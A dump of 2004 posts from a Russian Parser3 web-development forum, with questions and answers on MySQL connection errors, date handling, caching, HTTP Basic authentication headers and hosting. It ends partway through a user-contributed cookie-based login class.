@dbconnect[code]\
^connect[$connect_string]{$code}\
[/code]\
\
выдаётся лог:\
[Tue Mar  9 13:54:50 2004] /: /home/mpiru/public_html/isamara/auto.p(7:2): 'mysql://****@mindwork.ru/mindwork_isamara' Access denied for user: 'mindwork_isamara@195.161.118.198' (Using password: YES) [sql.connect]\
[Tue Mar  9 14:01:41 2004] /: /home/mpiru/public_html/isamara/auto.p(7:2): 'mysql://****@isamara.ru/mindwork_isamara' Access denied for user: 'mindwork_test@195.161.118.198' (Using password: NO) [sql.connect]\
[Tue Mar  9 14:02:23 2004] /: /home/mpiru/public_html/isamara/auto.p(7:2): 'mysql://****@mindwork.ru/mindwork_isamara' Access denied for user: 'mindwork_test@195.161.118.198' (Using password: NO) [sql.connect] \
\
Что делать помогите."
"27260","Другая цитата - \"Кролик был очень вежливый, поэтому он ничего не сказал\" [(с) Заходер] - это вам про реакцию Paf'а.\
\
Стандартное решение для вашего вопроса - это вычитание одной даты из другой. $diff($date1 - $date2). После этого - $diff.day, $diff.month и т. д."
"27262","то там есть ^date.unix-timestamp[]\
\
очень нужна для сопряжения кода на parser с кодом на javascript.\
появится в 3.1.2 версии(скоро)."
"27263","не сразу, но нашел вроде:\
httpd-suexec.log\
[2004-03-09 04:46:33]: info: (target/actual) uid: (Larrikin/Larrikin) gid: (www/www) cmd: parser3.cgi\
[2004-03-09 04:46:33]: crit: cannot run as forbidden gid (80/parser3.cgi)\
\
спасибо за наводку, хоть понятно куда рыть...\
хотя такое первый раз вижу..."
"27264","Что отдает этот метод?"
"27265","А Вы уверены, что на другом хосте Вам открыты порты MySQL и у Вас есть права хотя бы на подключение с данного хоста на другой ?"
"27267","Извините заранее за оффтопик, просто даже не знаю к кому обратиться, а тут люди вроде бы как разбираются в этом.\
\
Мне нужно написать программу для проверки правильности логин:пасс при стандартной авторизации сервера Apache.\
\
Вот нигде не могу найти параметры отправки запроса на сервер :(\
\
При попытке отправить запрос \
HEAD http://login:pass@www.somehost.ru/secured/ HTTP/1.0 —\
получаю стандартый ответ HTTP/1.1 401 Authorization Required\
\
Вот сижу и голову ломаю как это сделать. Может кто-то сталкивался с данной задачей? Если не трудно, помогите."
"27268","вы его только по выходным чтоль делаете?"
"27269","этот текст пришёл в ответ на запрос.\
очевидно, пользователь/пароль банально неправильный."
"27270","и вам непременно нужно «моё, лучше, чем у всех»,\
почитайте стандарт HTTP, там всё подробно расписано.\
если у вас приступ лени, пожалуйста: \
http://www.ietf.org/rfc/rfc2617.txt\
\
вам в каком контексте нужно?\
wget устроит?"
"27271","что когда делается видно тут: http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog"
"27272","или он не ресолвится там как надо...\
или вообще ресолвится, а прописана как ip\
или ip поменялся..."
"27273","и всё это банально. и администратор mysql прекрасно справится с этим банальным вопросом.\
\
идея: это не тема для обсуждения в этом форуме."
"27274","При попытки создать\
[code]$Date[^date::create(1700;12;31)][/code]\
Ошибка - 'create' invalid datetime [<no type>]\
Можно как-нибудь задать такую дату?"
"27275","чтобы ответ стал очевиден, но по субьективным ощущениям - как находят необщий баг, то именно в модуль Апача под win32..."
"27276","а cvs.parser.ru сообщает \
[quote]parser3 (обновлен сегодня в 1:45)[/quote]"
"27277","буквы то как раз лежат на русском и читаются по-русски через toad, sqlplus итп, а приложение их видит как нечто нечитаемое......"
"27279","PAF Спасибо за ссылку на документацию! — будем разбираться…\
\
И ещё, я хотел бы у Вас спросить (давно волнует этот вопрос): возомжно ли заранее узнать размер загружаемой станицы (не файла) т.е. index.html'а?\
\
Опять же при запросе HEAD … HTTP/1.0 параметр Content-Length не выводится :("
"27281","[code]\
$now[^date::now[]]\
$date[^date::create[1983-10-02 08:15:00]]\
\
^eval(^now.unix-timestamp[] - ^date.unix-timestamp[])\
[/code]"
"27283","это все из-за модуля Апача под Вин32?"
"27284","вам на каком языке? для perl есть готовые решения.\
для командных файлов есть wget.\
для parser скоро выйдет 3.1.2 версия, где есть возможность задать пользователя/пароль для http подзапроса.\
\
вы уверены, что вам этого мало?"
"27285","[code]\
telnet parser.ru 80\
HEAD / HTTP/1.0\
host:www.parser.ru\
\
HTTP/1.1 200 OK\
Date: Tue, 09 Mar 2004 12:29:46 GMT\
Server: Apache/1.3.27 (Unix) rus/PL30.16\
content-length: 9421\
Connection: close\
Content-Type: text/html; charset=WINDOWS-1251\
[/code]\
content-length на месте.\
\
\
может отсутствовать, если на сервера документ обрабатывает скрипт, и этот скрипт не выдал заголовка content-length."
"27286","[code]\
^eval(^now.unix-timestamp[] - ^date.unix-timestamp[])[%i]\
[/code]\
\
но на dialup не получится :)"
"27287","Я делаю на VB :)\
То что не занимаюсь ерундой — уверен, т.к. пишу другому человеку.\
\
Уже нашёл и сделал (не без помощи вашей ссылки на доки)\
\
На сервер делаю запрос:\
HEAD ... HTTP/1.0\
...\
Authorization: Basic bG9naW46cGFzcw== (обработка Base64'ом login:pass)\
\
Если всё ОК, то возвращается 200 OK.\
\
Спасибо большое за помощь! думаю вопрос закрыт."
"27288","Я бы не обратился еслиб это было банально. Я полноправный обладатель обоих хостов. Поэтому варианты с недостаточными правами и ошибочным паролем отпадают. И при подключенииxthtp php всё нормально.\
\
Ну если ни чем помочь не можете сто поделаешь."
"27289","1. Что значит \"i\"? \
после добавления ничего не поменялось\
2. во второй строчке я понял только значение последних двух символов"
"27290","берётся рыба.xml и yandex.xsl и тривиальный код из документации [шестой урок].\
\
когда результат всех удовлетворил, шаблоны конечных HTML на нужном клиенту языке шаблонов были ему отправлены.\
[т.е. нам внутри удобно вести разработку именно на xml+xsl]\
\
на ряде проектов были отправлены прямо *.xsl"
"27291","из-за любимых американцев, у которых буквы имеют код <0x80, и о других они не думают."
"27292","чтобы под VB не было готового решения HTTP авторизации никто никогда не поверит.\
\
впрочем, тут на меня модератор уже машет руками, offtopic, говорит."
"27293","это к parser никакого отношения не имеет."
"27295","Подскажите про AGVA.RU кто, что слышал или непосредственно работал. \
Или у кого лучше заказать хостинг? Для сайта фирмы.\
Огромное спасибо!"
"27296","ИЗВИНИТЕ опечатка AGAVA.ru ))))"
"27297","Слышанные отзывы - от \"посредственно\" до \"очень плохо\"\
\
Сам пользуюсь masterhost и hosting.rbc.ru - без нареканий.\
\
Для компании разница в два доллара в месяц меньше, чем от простоя сайта из-за проблем у хостера."
"27300","Агаву большинство только ругают.\
Я пользуюсь ruweb.net, без проблем 8 месяцев.."
"27301","На практике, скорее всего, мне использовать это никогда не придется. Просто хочется понять. Про то, что вы мне указали в квадратных скобках после ^eval() я понимаю, что это форматная строка. Но что \"i\"? Длинна? Тип? Как вообще этим пользоваться? При чем здесь диалап?"
"27302","http://www.sitepoint.com/blog-post-view.php?id=156893\
\
элегантное решение, которое позволяет обходить множество недоработок IE в области поддержки CSS. Рекомендации ведущих собаководов..."
"27303","для начала, очистите мусорку и выкиньте временные файлы браузера.\
\
был похожий эффект."
"27304","2. «dialup», это попытка пошутить. очевидно, провалившаяся.\
\
по dialup секундной точности, вероятно, не выйдет…"
"27305","На самом деле у меня было не так:\
[code]\
^eval(^now.unix-timestamp[] - ^src.unix-timestamp[])[%i]\
[/code]\
а вот так:\
[code]\
$result.seconds(^eval(^now.unix-timestamp[] - ^src.unix-timestamp[])[%i])\
[/code]\
;)\
Ну вы поняли, что у меня выводилось в итоге.\
Дико извиняюсь..."
"27309","Это хак поверх IE, чтобы он понимал CSS как надо"
"27310","Это что-то типа хака получается, что совсем не хорошо. Тем более использование javascript повсеместно считаю нецелесообразным."
"27311","Дико извиняюсь, за оффтопик, но \"приспичило\"...\
Проблема такая:\
Заказчик, видите ли, привык переходить в форме (<form>) от поля (<input>) к полю по enter'у, а не по tab'у.\
Нажимает он enter и ... делает submit формы, не заполнив ее полностью.\
\
Не поскажет ли кто, как это побороть? Это, вероятно, javascript'ом делается. Может, у кого готовый скрипт есть? Или дайте \"волшебный пендель\" в направлении где искать. :-)"
"27312","есть tabdefined файл объемом 32 мега, из него надо данные отправить в базу, но ни чего не выходить parser ругается на нехватку памяти.\
Подскажите как обработать, только не отсылайте в FAQ и доку, сейчас искать некогда надо в течении 1 часа базу запустить. Может есть решение перебирать файл построчно не загружая его в память."
"27314","если да, то:\
1. скопировать файл локально\
2. создать БД локально\
3. написать скрипт на парсере который откроет локальный файл, перелопатит его и засунет в БД. думаю памяти на локальной машине хватит.\
4. скопировать таблицу(ы) БД на свой хостинг (dump/restore или с помощью MySQLFront)\
\
у меня таким образом одна сложная штука работает. парсер при работе у системы отжирает более 200 МБ, и это с compact (там действительно много всего делается)"
"27316","Может быть, поможет."
"27317","нет это будет происходить 2 раза в месяц."
"27318","там же вроде можно передать параметрами количество строк и смещение...\
можно попробовать  брать строк по сто и ну тогда памяти хватит..."
"27319","Потом проверять код нажатой кнопки, потом соответственно фокус на нужное поле..."
"27320","Заявляю что:\
1) Все обновления и лог версий я буду вести на сайте parser.rpro.ru\
2) Обсуждение можно перенести на мой форум - forum.rpro.ru\
\
Всем спасибо!!!"
"27322","в HomeSite 5.5+\
Я не понял что там надо делать с регистром.Подскажите( у меня Windows XP.\
PS:похоже, автор вообще поскупился на слова!\
PPS: вопрос о редакторах поднимался много раз, и всё таки что же лучше HS или UE?\
PPPS:почему забраковали мой вопрос о фреймах в CMS?"
"27323","[i]> Я не понял что там надо делать с регистром.Подскажите( у меня Windows XP.[/i]\
\
вам нужно счелкнуть правой кнопкой мыша на файле \"P3 HS5 Install.INF\" и в выпавшем контекстном меню выбрать пункт \"Install\" (в локализованной версии - \"Установить\", если не ошибаюсь). Если не получится, смотрите тут: http://www.parser.ru/forum/?id=25486, ColdFusionStudio5 замените на то что будет в вашем случае.\
\
\
[i]> PS:похоже, автор вообще поскупился на слова![/i]\
\
поскупился гад, однозначно, но обещался исправиться, в скором времени выложит подробную инструкцию на русском и исходники...\
\
\
[i]...и всё таки что же лучше HS или UE?[/i]\
\
если \"с нуля\" то лучше UE, в нём, как я слышал, есть нормальная поддержка Unicode, проверка парности скобок, всякие таблицы перекодировок и прочие прелести..."
"27324","Указанный сайт выдает\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, dg@mobilepc.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
 :(  :(  :(  :("
"27325","Вопрос такой: нужно включить в html код SSI, прописываю в auto.p, сохраняю как index.shtml. Но Парсер не хочет работать с SSI. Как включить код-SSI в HTML.\
Может проблема в .htaccess?\
SSI поддерживается, проверил на test.shtml"
"27326","[url=\"/forum/?id=15874\"]или зачем парсер если для решения задач хватает ssi?[/url]\
\
а если не хватает, то зачем нужен ssi если есть парсер?\
то, что вы делаете с помощью SSI можно элементарно сделать на парсере."
"27327","Прошу прощения, сегодня все работало. Видимо что-то сломали. Завтра все будет. еще раз прошу прощения."
"27328","Здравствуйте, друзья! :)))\
Взялся я сделать форум на основе решения, предложенного Misha v.3 \
в статье \"Построение деревьев\".\
Пробежался по всему коду быстренько, подкорректировал внесенные автором неточности. Ошибок никаких не возникает, но вот никак не могу найти, видимо, последнюю необходимую и ключевую правку - уже голова набекрень. :))) Не работает сама суть - построение древовидной структуры (то есть извлекается только один уровень сообщений в глубину и все). Остальное нормально. Похоже, проблема или непосредственно в методе @printMessagesByParent, или чуть раньше, на стадии извлечения треда методом @getMessagesByThread.\
Пожалуйста, подскажите, что я упускаю - никаких правок в этих двух методах я не делал.\
[code]\
@getMessagesByThread[thread]\
$result[^table::sql{\
		SELECT\
			forum_message.forum_message_id,\
			parent_id,\
			thread_id,\
			title,\
			author,\
			email,\
			dt_published,\
			forum_message_body.forum_message_id AS is_not_empty\
		FROM\
			forum_message\
			^MAIN:pSQL.left_join[from;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
		WHERE\
			^MAIN:pSQL.left_join[where;forum_message_body;forum_message.forum_message_id = forum_message_body.forum_message_id]\
			^if($thread is table){\
				^if($thread){thread_id IN (^thread.menu{$thread.thread_id}[,]) AND}\
			}{\
				thread_id = ^thread.int(0) AND\
			}\
			is_published = 1\
		ORDER BY\
			dt_published DESC\
}]\
\
@printMessagesByParent[messages;parent_id][levelmessages]\
$levelmessages[^messages.select($messages.parent_id == $parent_id)]\
^levelmessages.menu{\
	^printTreeItem[$levelmessages.fields;^printMessagesByParent[$messages;$levelmessages.forum_message_id]]\
}\
[/code]"
"27329","Тема уже была http://www.parser.ru/forum/?id=21395 от 29.09.03 \
У меня make вываливается на том же месте (gcc 2.95.4). Стоит FreeBSD4.7/Apache 1.3.29\
Как я понял, парсер с фрюшкой пока не сильно дружат. \
\
Хотел бы спросить, когда,примерно, выйдет версия 3.1.2\
С уважением"
"27331","Точнее по повооду апача и денвера.\
Фаервол выдаёт примерно следуещее\
[b]\
Apache.exe запрашивает взодящее соединение с\
\
удалённая служба: TCP:3211\
Удалённый адрес:  1Cust93.tnt1.princess-anne.va.da.uu.net\
[/b]\
\
И это происходит несколько раз за день, причём обращается он к разным удалённым адресам, по поводу порта пока не обратил внимания.\
\
Собственно вопрос: Это нормально?"
"27332","Вот тогда и объясните как РНР скрипт (вернее результат его работы) проинклудить в страницу.\
Простым и _работающим_ способом. :)"
"27334","Поставил новостной скрипт Coranto 1.22\
http://coranto.gweilo.org/\
Он написан на cgi без MySQL, так вот там сказано чтобы вывести новости на страницу нужно вставить код SSI, как можно решить эту проблему?"
"27335","http://www.parser.ru/docs/lang/?fileclass.htm\
http://www.parser.ru/docs/lang/fileload.htm\
http://www.parser.ru/docs/lang/filecgiexec.htm"
"27336","соединение входящее, не исходящее - это не Апач вылазит, а кто-то лезет к вам. Сконфигурируйте свой файрвол так, что-бы он не давал апачу обслуживать запросы, приходящие из интернета.\
\
P.S. Это оффтопик."
"27337","... проверяет, не изменился ли результат работы кэшированного кода, а потом отдает? В пределах таймаута, естественно.\
\
Иными словами - если кэшируем вывод выборки из БД, то пока тайм не выйдет, на запрос будет отдаваться результат из кэша, независимо от текущей выборки?\
\
Несколько сумбурно получилось.."
"27340","Есть вот такой .xml:\
\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<TS>\
<context>\
    <name>design/admin/layout</name>\
    <message>\
        <source>Content</source>\
        <translation>Содержимое</translation>\
    </message>\
    <message>\
        <source>Shop</source>\
        <translation>Магазин</translation>\
    </message>\
    <message>\
        <source>Users</source>\
        <translation>Пользователи</translation>\
    </message>\
    <message>\
        <source>Set up</source>\
        <translation>Установки</translation>\
    </message>\
\
Есть вот такой код:\
\
^cache[translation.cache](86400){\
$translation[^xdoc::load[translation.xml]]\
$list[^translation.select[//source/text()]] \
$stuff[^table::create{id	text}] \
^for[i](0;$list-1){ \
    $node[$list.$i] \
    ^stuff.append{$node.nodeType	$node.nodeValue} \
} \
}\
\
<table border=1> \
^stuff.menu{ \
 <tr> \
 <td>$stuff.text</td> \
 </tr> \
} \
</table> \
\
Почему он не кэшируется?"
"27342","Извиняюсь за оффтопик, просто я только на этом форуме обитаю..\
Вопрос следующий. Есть менюшка двухуровневая. Разделы здесь:\
(корневые - parent_id = 0)\
(таблица razd)\
id_razd   parent_id\
и\
Пункты в разделах:\
(таблица pnt)\
id, razd\
\
Так вот. Надо выбрать из таблицы pnt те пункты, номера разделов которых пренадлежат определенному parent_id.\
\
Поясняю картину. Если корневой раздел раскрыт, я пишу в скобках количества пунктов у его дочерних разделов, \
а если он закрыт, я хочу писать около него количество пунктов в дочерних разделах.\
\
Подсоветуйте, как попроще сделать, а то что-то мне на ум только бредовые идеи приходят. Может mysqlем как-нибудь можно за один запрос?"
"27343","...любое обновление страницы ведет к обновлению кеша.\
\
Тот же самый код дома работает как надо (мерял rusage), на хостинге (Караван) - не работает. Файл кеша создается, но не используется и при всяком обращении к странице обновляется (по дате файла смотрел).\
Единственная замеченная разница - на хостинговой машине время течет почему-то по GMT (MSK-3:00).\
\
Parser 3.1.1\
\
----\
Дм.Завьялов (http://www.dvdigital.ru)"
"27344","Есть задача проверять линки на работоспособность.\
Как это лучше сделать парсером?\
Andy Nik"
"27345","надеюсь не напутал ничего..."
"27346","подключил классы\
sql.p\
mysql.p\
lib.p\
\
@auto[]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;^if(^env:QUERY_STRING.pos[debug] >= 0){de\
bug}]]\
\
не могу найти пример обычного SELECT через pSQL с включенным debug, чтобы потом внизу странички можно было отслеживать запросы.."
"27347","из <a href=..>, <img src...>  и т.п.\
может есть у кого готовый match?\
\
заранее спасибо"
"27348","\"Числовое значение объекта класса date равно числу суток с 01.01.1970 00:00:00(UTC) до даты, заданной в объекте.\"\
В вашем примере $diff в итоге вернет разницу в днях. Это не хеш, и нет у него никаких полей day, month и пр."
"27350","ЛУчше всего доверить это юзерам и дать им возможность рапортовать о битых ссылках"
"27351","ну <img src...> я бы не стал называть ссылкой"
"27354","надо получить содержимое заданного атрибута заданного тега;-)"
"27355","Если текст хороший, то лучше смотреть на него как на XML документ."
"27356","туда (или куда вам удобно, но я прадпочитаю в него, т.к. он выполняется для всех страниц) надо метод положить, который будет что надо куда надо записывать.\
\
сам класс при ?mode=debug только собирает информацию, но автоматом её никуда не выводит. чтобы вывести - у него есть метод."
"27358","то есть очень хотелось бы услышать как авторизововать пользователей. вернее как сделать чтобы на любой странице была форма для логина/пароля, а при авторизации на странице она бы пропадала и появлялась дополнительная информация, ну вот как например на этом форуме появлются настройки про логине.\
\
но главное поиском по форуму прошелся и там написано как сделать то есть код. а мне бы очень хотелось слышать с самого начала, то есть что нужно передовать со страницы на страницу(переменные куки и прочее) то есть как это должно выглядеть на бумаге, а не на парсере :) или сазоветуйте где читать про подобные адгоритмы, желательно на русском.\
\
Заранее всем спасибо."
"27359","$file[^file::load[text;links.htm]]\
\
$text[$file.text]\
\
$links[^text.match[(<a .*?>.*?</a>)][ig]]\
$links[\
^links.menu{\
$links.1\
}\
]\
^links.save[links.txt]"
"27360","раз в форуме. лично я такое уже писал.\
\
Почитать что-подобно е будет сложно, т.к. в других случаях (с др языками) есть само понятие сессии, а в парсере только через куки"
"27361","юзер заходит(авторизуется)-> проверяются его права на сервере и ему кладется кука с SUID(session user id)  -> потом каждый раз прочсто читаем куку, сверяем ее со значением на сервере и  выдаем скрытое для неавторизованных"
"27363",".. это [url=\"http://www.parser.ru/examples/auth/\"]взять[/url] мишин класс авторизации и прикрутить его. Очень мощная и красивая штука. Спасибо Misha v.3."
"27364","P.S. просто любопытство. ссылки на то где используете не нужны, а пожелания чего не хватает принимаются с удовольствием."
"27365","[code]http://www.saitistika.ru/common/data/pub/images/articles/1709/5234.gif[/code]"
"27366","ага вот только с нуля воткнуть как там все устроено и как его подключать не совсем понятно и потом что бы его использовать надо подключать еще классы и в них разбираться как они устроены у как их использовать/подключать.\
\
а так понятно что самое простое взять готовое. :)"
"27367","можно им делать ^file::load[http://...] и отлавливать системные ошибки http.что_то_там.\
\
Если линки внутренние - эмм... попробуйте спроектировать систему так, чтобы появление внутренней битой ссылки было бы невозможно из принципа.  8-]"
"27369","куда-нибудь на парсер.ру положить или хотя бы ссылку на нее"
"27370","могу по почте выслать, хотя там \"основы\" по большей части, ничего \"такого чтобы...\".\
\
Ссылку не давал специально, чтобы реферер в логах не выбило, ASP - конкурирующая технология, могут ведь и прибить картинку-та, или на дезинформацию какую заменить...  =]"
"27371","просто это бы отнесло все вопросы такого рода"
"27372","..то я тоже понятия не имею, как оно всё крутится внутри. Но в примерах есть код, который надо вставить на каждую страницу. Есть пример страницы регистрации пользователей. Сделать простейшую страничку управления пользователями тоже просто.\
\
Это совсем не трудно, и не надо бояться классов. \
\
Другое дело, что этот класс навороченный (с мощным механизмом контроля прав), но использовать это никто не заставляет. Мне, например (интранет доступ к базе данных), просто хватает проверки залогинился пользователь или нет."
"27373","скрипт для создания превьюшек \
Parser + PHP + GD2(1)\
\
^if(Да){\
\
Могу написать статью с исходниками и комментами и проч.\
\
}{\
На нет и суда нет.\
}\
\
:) \
Сорри что я в такой форме.\
Весна :)."
"27374","Вот тоже, когда первый раз увидел твой класс у меня глаза на лоб поплыли. Трудно сходу въехать в то, как это все работает. Взял и написал свой (изредка поглядывая, как там у тебя =)). Когда сам пишешь лучше доходит. Многие, наверное, также поступили. А так класс хороший. Спасибо тебе.\
На счет галочки \"запомнить\": \
мне почемуто кажется, что она должна находиться в форме логаута. Я у себя так и сделал. И написал возле \"I'll be back\" =)"
"27375","Вобщем тут не фсяких фишек типа групп и прав (на самом деле это решается добавлением пары столбцов в бд). Оставил только то, что мне может пригодиться. Выложу, может кому-то понадобится. Там могут быть всякие неточности, но вроде работает. Или может быть что-то не доделано. Вот код: \
[code]\
@CLASS\
auth\
\
#######\
## Конструктор класса\
## \
## Параметры, передоваемые конструктору: \
## 1. $logon_data_hash - хеш с необходимыми для авторизации данными (обычно $form:fields) \
##    ключи (по-умолчанию) хеша $logon_data_hash с которыми работает класс: \
##    - $.u					(имя пользователя)\
##    - $.p					(пароль)\
##    - $.logout				(флаг, означающий желание юзера отлогинеться (должен def))\
##    эти ключи можно переобределить в хеше опций (см. ниже)\
## 2. $cookie_data_hash - хеш с куками пользователя (обычно $cookies:CLASS (ой! это ведь не хеш!))\
##\
##\
##\
## 3. $db_connect_string - строка подключения к БД\
## 4. $options - хеш с опциями\
##    доступно:\
##    - $.cookie_expires		(сколько дней храним куки. 0 - сессионные куки (по-умолчанию))\
##    - $.db_expires\
##    - $.auth_type			(По какому параметру производим идентификацию пользователя)\
##      Возможные значения:\
##      - user_name				(по имени пользователя (по-умолчанию))\
##      - email					(по мылу пользователя)\
##    - $.passwd_field			(ключ хеша $logon_data_hash, содержащий пароль)\
##    - $.user_name_field		(ключ хеша $logon_data_hash, содержащий имя пользователя)\
##    - $.email_field			(ключ хеша $logon_data_hash, содержащий e-mail пользователя)\
##    - $.logout_field			(ключ хеша $logon_data_hash, который является флагом логаута)\
##    - $.remindme_field		(ключ хеша $logon_data_hash, который является флагом \"запомнить\")\
##\
##\
#######\
@create[logon_data_hash;cookie_data_hash;db_connect_string;ioptions][logout_user;auth_field;auth_value]\
# Класс работает только при включенных cookies, иначе при создании объекта класса auth получаем ошибку.\
#$cookie:available[yes]\
#^if($cookie:available ne \"yes\"){^throw[cookies;^$cookie:available;Cookie files are not available. ^$cookie:available must return \"yes\".]}\
\
# Текущие дата и время\
$now[^date::now[]]\
\
# Опции по-умолчанию\
$options[^hash::create[$ioptions]]\
^if(!def $options.cookie_expires){$options.cookie_expires[0]}\
^if(!def $options.db_expires){$options.db_expires[1]}\
^if(!def $options.auth_type){$options.auth_type[user_name]}\
\
# Определение ключей хеша $logon_data_hash с которыми будет работать класс\
$logon_data_fields[^hash::create[]]\
$logon_data_fields[\
 $.passwd[p]\
 $.user_name[u]\
 $.email[m]\
 $.logout[logout]\
 $.remindme[remindme]\
]\
\
^if(def $options.passwd_field){$logon_data_fields.passwd[$options.passwd_field]}\
^if(def $options.user_name_field){$logon_data_fields.user_name[$options.user_name_field]}\
^if(def $options.logout_field){$logon_data_fields.logout[$options.logout_field]}\
^if(def $options.email_field){$logon_data_fields.email[$options.email_field]}\
\
# Данные, необходимые для logon/logout\
$logon_data[^hash::create[$logon_data_hash]]\
$logon_data[\
 $.passwd[$logon_data.[$logon_data_fields.passwd]]\
 $.user_name[$logon_data.[$logon_data_fields.user_name]]\
 $.email[$logon_data.[$logon_data_fields.email]]\
 $.logout[$logon_data.[$logon_data_fields.logout]]\
 $.remindme[$logon_data.[$logon_data_fields.remindme]]\
]\
\
# А это пришло из куков\
$cookie_data[$cookie_data_hash]\
\
# Определение $expires для куков\
^switch(^options.cookie_expires.int(0)){\
 ^case(0){$cookie_expires[session]}\
 ^case[DEFAULT]{$cookie_expires[$options.cookie_expires]}\
}\
\
# Определение $db_connect_string - cтроки подключения к БД\
$self.db_connect_string[$db_connect_string]\
\
# Определяем поля, по которым происходит логон\
^switch[$options.auth_type]{\
 ^case[email]{^if(def $logon_data.email){$auth_field[email] $auth_value[$logon_data.email]}}\
 ^case[DEFAULT]{$auth_field[name] $auth_value[$logon_data.user_name]}\
}\
\
# Таблица сессий из БД\
^connect[$db_connect_string]{\
 $db_sessions[^table::sql{\
  SELECT\
  id, sid, created, updated, ip, user_name\
  FROM\
  auth_sessions\
 }]\
}\
\
# Смотрим, залогинен ли пользователь и от этого уже пляшим\
^if(^is_logon[] == 1){\
 ^logout[]\
 ^update[]\
}{\
 ^logon[$auth_field;$auth_value]\
}\
\
# Хеш с ошибками\
$errors[^hash::create[]]\
\
# Чтобы броузер не кэшировал\
$response:expires[Fri, 23 Mar 2001 09:32:23 GMT]\
$response:cache-control[no-cache, must-revalidate]\
$response:pragma[no-cache]\
\
#######\
#######\
\
\
#######\
## Залогиним юзера\
#######\
@logon[a_field;a_value][user;sid]\
^connect[$db_connect_string]{\
 $user[^table::sql{\
  SELECT\
  name, email, passwd\
  FROM\
  auth_users\
  WHERE\
  $a_field = '$a_value'\
 }[$.limit(1)]]\
}\
$user[$user.fields]\
^if(def $user.name && def $user.email && def $user.passwd && def $logon_data.passwd && ^math:crypt[$logon_data.passwd;$user.passwd] eq \"$user.passwd\"){\
 $sid[^math:md5[$env:REMOTE_ADDR ^now.sql-string[] ^math:random(10000)]]\
 $cookie:auth_sid[\
  $.value[$sid]\
  $.expires[$cookie_expires]\
 ]\
 ^connect[$db_connect_string]{\
  ^void:sql{delete from auth_sessions where user_name='$user.name'}\
  ^void:sql{insert into auth_sessions \
   (sid, created, updated, ip, user_name) \
   values  \
   ('$sid', '^now.sql-string[]', '^now.sql-string[]', '$env:REMOTE_ADDR', '$user.name') \
  }\
  $caller.db_sessions[^table::sql{\
   SELECT\
   id, sid, created, updated, ip, user_name\
   FROM\
   auth_sessions\
  }]\
 }\
}\
#######\
#######\
\
\
#######\
## Обновляем дату последнего логона\
#######\
@update[][user]\
$user[^user_info[]]\
^connect[$db_connect_string]{\
 $user[^table::sql{\
  SELECT\
  name, email, passwd\
  FROM\
  auth_users\
  WHERE\
  name = '$user.name'\
 }[$.limit(1)]]\
}\
$user[$user.fields]\
^if(def $user && ^is_logon[] == 1){\
 ^connect[$db_connect_string]{\
  ^void:sql{update auth_sessions set updated='^now.sql-string[]' where user_name='$user.name'}\
  $caller.db_sessions[^table::sql{\
   SELECT\
   id, sid, created, updated, ip, user_name\
   FROM\
   auth_sessions\
  }]\
\
 }\
}\
#######\
#######\
\
\
#######\
## Отлогиним пользователя\
#######\
@logout[user_name][user]\
^if(def $user_name){\
 ^connect[$db_connect_string]{\
  ^void:sql{delete from auth_sessions where user_name='$user_name'}\
 }\
}{\
 ^if(def $logon_data.logout && ^is_logon[] == 1){\
  ^connect[$db_connect_string]{\
   $user[^user_info[]]\
   ^void:sql{delete from auth_sessions where user_name='$user.name'}\
   ^rem{### Здесь надо обновить уже подгруженную таблицу сессий ###}\
   $caller.db_sessions[^table::sql{\
    SELECT\
    id, sid, created, updated, ip, user_name\
    FROM\
    auth_sessions\
   }]\
  }\
  $cookie:auth_sid[]\
   ^if(def $logon_data.remindme){\
    $cookie:auth_login[\
     $.value[$user.name]\
     $.expires[7]\
    ]\
   }{\
    $cookie:auth_login[]\
   }\
 }\
}\
#######\
#######\
\
\
#######\
## Залогинен ли текущий пользователь или пользователь с нужным именем\
#######\
@is_logon[user_name][user;created]\
^if(def $user_name){\
# Смотрим юзера с указанным именем в таблице сессий\
^connect[$db_connect_string]{\
 $user[^string::sql{SELECT name FROM auth_users WHERE name='$user_name'}[$.limit(1)]]\
}\
^if(def $user && ^db_sessions.locate[user_name;$user_name]){$result(1)}{$result(0)}\
}{\
# Смотрим текущего посетителя\
 ^if(def $cookie_data.auth_sid){\
  ^if(^db_sessions.locate[sid;$cookie_data.auth_sid]){\
   $created[^date::create[$db_sessions.created]]\
   ^if($created > $now-1/24*$options.db_expires){\
    $result(1)\
   }{\
    $result(0)\
   }\
  }{\
   $result(0)\
  }\
 }{\
 $result(0)\
 }\
}\
#######\
#######\
\
\
#######\
## Информация о пользователе по его имени или о текущем пользователе в виде хеша\
#######\
@user_info[user_name]\
^connect[$db_connect_string]{\
 $result[^table::sql{\
  SELECT\
  id, name, email, passwd, rights\
  FROM\
  auth_users\
  WHERE\
  name='^if(def $user_name){$user_name}{^if(^is_logon[] == 1){$db_sessions.user_name}}'\
 }[$.limit(1)]]\
 $result[$result.fields]\
}\
^if(!def $result){$result[^hash::create[]]}\
#######\
#######\
\
\
#######\
## XML код формы ввода данных\
#######\
@logon_form_xml[][$name]\
# Выясняем, по какому полю будет происходить авторизация\
^if(def $options.auth_type){\
 ^switch[$options.auth_type]{\
  ^case[email]{$name[$logon_data_fields.email]}\
  ^case[DEFAULT]{$name[$logon_data_fields.user_name]}\
 }\
}{\
 $name[$logon_data_fields.user_name]\
}\
^untaint[xml]{\
 <logon_form method=\"post\">\
  <field type=\"text\" name=\"$name\" ^if(def $cookie_data.auth_login){value=\"$cookie_data.auth_login\"} />\
  <field type=\"password\" name=\"$logon_data_fields.passwd\" />\
  <field type=\"submit\" name=\"logon\" />\
 </logon_form>\
}\
#######\
#######\
\
\
#######\
## XML код формы логаута\
#######\
@logout_form_xml[][user]\
^if(^is_logon[] == 1){\
 $user[^user_info[]]\
 ^untaint[xml]{\
  <logout_form method=\"post\">\
     <field type=\"submit\" name=\"$logon_data_fields.logout\" description=\"$user.name\" />\
     <field type=\"checkbox\" name=\"$logon_data_fields.remindme\" selected=\"selected\" />\
  </logout_form>\
 }\
}\
#######\
#######\
\
\
#######\
## Вставляет нужную форму, в зависимости от текущего состояния.\
## Имеет параметр mode, доступные значения:\
## - both				(показывать форму логина вместе с формой логаута)\
##\
#######\
@form_switch[mode]\
